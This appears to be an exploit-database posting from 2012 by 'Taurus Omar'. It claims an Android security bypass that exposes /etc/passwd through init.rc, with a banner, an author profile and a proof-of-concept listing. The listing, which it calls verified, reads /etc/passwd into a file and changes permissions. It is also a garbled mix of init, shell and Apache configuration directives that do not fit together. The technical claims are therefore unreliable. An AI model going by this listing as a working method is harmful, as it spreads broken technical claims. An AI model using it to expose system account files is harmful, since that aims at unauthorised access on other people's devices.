Android Mobile 2.6.xx Bypass Security Vulnerability



EKU-ID: 2615 CVE: OSVDB-ID:
Author: Taurus Omar Published: 2012-09-04 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0      _                   __           __       __                      1
1    /' \            __  /'__`\        /\ \__  /'__`\                    0
0   /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___            1
1   \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\           0
0      \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/            1
1       \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\            0
0        \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/            1
1                   \ \____/ >> Exploit database separated by exploit    0
0                    \/___/          type (local, remote, DoS, etc.)     1
1                                                                        1
0   [x] Official Website: http://www.1337day.com                         0
1   [x] Support E-mail  : mr.inj3ct0r[at]gmail[dot]com                   1
0                                                                        0
1               ==========================================               1
0               I'm Taurus Omar Member From Inj3ct0r TEAM                1
1               ==========================================               0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-1
|                                                                        |
|    Android Mobile 2.6.xx  Bypass Security /etc/passwd => init.rc       |     
--------------------------------------------------------------------------

+----------------| ABOUT ME |--------------------+
NAME:     TAURUS OMAR                            -
LINE:     INDEPENDENT SECURITY RESEARCHER        -
HOME:     ACCESOILEGAL.BLOGSPOT.COM              -
TWITTER:  @taurusomar_                           -
E-MAIL:   omar-taurus[at]dragonsecurity[dot]org  -
E-MAIL:   omar-taurus[at]live[dot]com            -
PWNED:    #ZUUU                                  -
+------------------------------------------------+ 

# Exploit Title: Android Mobile 2.6.xx  Bypass Security /etc/passwd => init.rc
# Vendor Name: Android
# Url Vendor: http://www.android.com/
# Version Kernel: 2.6.xx 
# Category:: Doc/Pocs
# Tested on: Android Mobile 
# Tested Mobile : [ Samsung Ace/Galaxi/ ] [ Lg Optimus All Version ] [ Mobile Google Android ] 
# Type: Hardware - Android 

+-------------------------------+
Proof of CONCEPT IMAGES 
http://i.imgur.com/hFgal.jpg
+-------------------------------+

# Bypass Security /etc/passwd => init.rc

    export ANDROID_ROOT /system
    export ANDROID_DATA /data

    sym /system/etc /passwd

    mkdir /etc
    mkdir /system
    mkdir /data
    mkdir /data/x0
    mkdir /data/x0/com.lge.omadmclient
    mkdir /data/x0/com.lge.omadmclient/files
    mkdir /dev/fb0
    cat /etc/passwd > 0x0.file
    chmod 0644	/data/x0
    chmod 0644	/data/x0/com.lge.omadmclient
    chmod 0644	/data/x0/com.lge.omadmclient/files
    chmod 0644	/data/x0/com.lge.omadmclient/files/dlpkgfile
	Options Indexes FollowSymLinks
    DirectoryIndex /x0/
	DirectoryIndex /x0/files/
	DirectoryIndex /x0/files/dlpkgfile
    AddType txt .file
    AddHandler txt .file